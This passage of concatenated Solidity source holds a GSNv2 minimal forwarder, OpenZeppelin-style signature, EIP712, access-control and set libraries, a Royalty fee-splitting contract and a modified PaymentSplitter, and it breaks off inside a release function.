import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
/*
* @dev Minimal forwarder for GSNv2
*/
contract Forwarder is EIP712 {
using ECDSA for bytes32;
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
}
bytes32 private constant TYPEHASH =
keccak256("ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)");
mapping(address => uint256) private _nonces;
constructor() EIP712("GSNv2 Forwarder", "0.0.1") {}
function getNonce(address from) public view returns (uint256) {
return _nonces[from];
}
function verify(ForwardRequest calldata req, bytes calldata signature) public view returns (bool) {
address signer = _hashTypedDataV4(
keccak256(abi.encode(TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data)))
).recover(signature);
return _nonces[req.from] == req.nonce && signer == req.from;
}
function execute(ForwardRequest calldata req, bytes calldata signature)
public
payable
returns (bool, bytes memory)
{
require(verify(req, signature), "MinimalForwarder: signature does not match request");
_nonces[req.from] = req.nonce + 1;
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory result) = req.to.call{ gas: req.gas, value: req.value }(
abi.encodePacked(req.data, req.from)
);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert("Transaction reverted silently");
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
// Check gas: https://ronan.eth.link/blog/ethereum-gas-dangers/
assert(gasleft() > req.gas / 63);
return (success, result);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n Γ· 2 + 1, and for v in (302): v β {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// Base
import "./openzeppelin-presets/finance/PaymentSplitter.sol";
// Meta transactions
import "@openzeppelin/contracts/metatx/ERC2771Context.sol";
import { Registry } from "./Registry.sol";
import { ProtocolControl } from "./ProtocolControl.sol";
/**
* Royalty automatically adds protocol provider (the registry) of protocol control to the payees
* and shares that represent the fees.
*/
contract Royalty is PaymentSplitter, ERC2771Context {
/// @dev The protocol control center.
ProtocolControl private controlCenter;
/// @dev Contract level metadata.
string private _contractURI;
/// @dev Checks whether the protocol is paused.
modifier onlyProtocolAdmin() {
require(
controlCenter.hasRole(controlCenter.DEFAULT_ADMIN_ROLE(), _msgSender()),
"Royalty: only a protocol admin can call this function."
);
_;
}
/// @dev shares_ are scaled by 10,000 to prevent precision loss when including fees
constructor(
address payable _controlCenter,
address _trustedForwarder,
string memory _uri,
address[] memory payees,
uint256[] memory shares_
) PaymentSplitter() ERC2771Context(_trustedForwarder) {
require(payees.length == shares_.length, "Royalty: unequal number of payees and shares provided.");
require(payees.length > 0, "Royalty: no payees provided.");
// Set contract metadata
_contractURI = _uri;
// Set the protocol's control center.
controlCenter = ProtocolControl(_controlCenter);
Registry registry = Registry(controlCenter.registry());
uint256 feeBps = registry.getFeeBps(_controlCenter);
uint256 totalScaledShares = 0;
uint256 totalScaledSharesMinusFee = 0;
// Scaling the share, so we don't lose precision on division
for (uint256 i = 0; i < payees.length; i++) {
uint256 scaledShares = shares_[i] * 10000;
totalScaledShares += scaledShares;
uint256 feeFromScaledShares = (scaledShares * feeBps) / 10000;
uint256 scaledSharesMinusFee = scaledShares - feeFromScaledShares;
totalScaledSharesMinusFee += scaledSharesMinusFee;
// WARNING: Do not call _addPayee outside of this constructor.
_addPayee(payees[i], scaledSharesMinusFee);
}
// WARNING: Do not call _addPayee outside of this constructor.
_addPayee(registry.treasury(), totalScaledShares - totalScaledSharesMinusFee);
}
/// @dev See ERC2771
function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address sender) {
return ERC2771Context._msgSender();
}
/// @dev See ERC2771
function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {
return ERC2771Context._msgData();
}
/// @dev Sets contract URI for the contract-level metadata of the contract.
function setContractURI(string calldata _URI) external onlyProtocolAdmin {
_contractURI = _URI;
}
/// @dev Returns the URI for the contract-level metadata of the contract.
function contractURI() public view returns (string memory) {
return _contractURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
/**
* Changelog:
* 1. Remove add payees and shares in the constructor, so inherited class is responsible for adding.
* 2. Change _addPayee(...) visibility to internal. DANGEROUS: Make sure it is not called outside from constructor
* initialization.
*/
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor() payable {}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
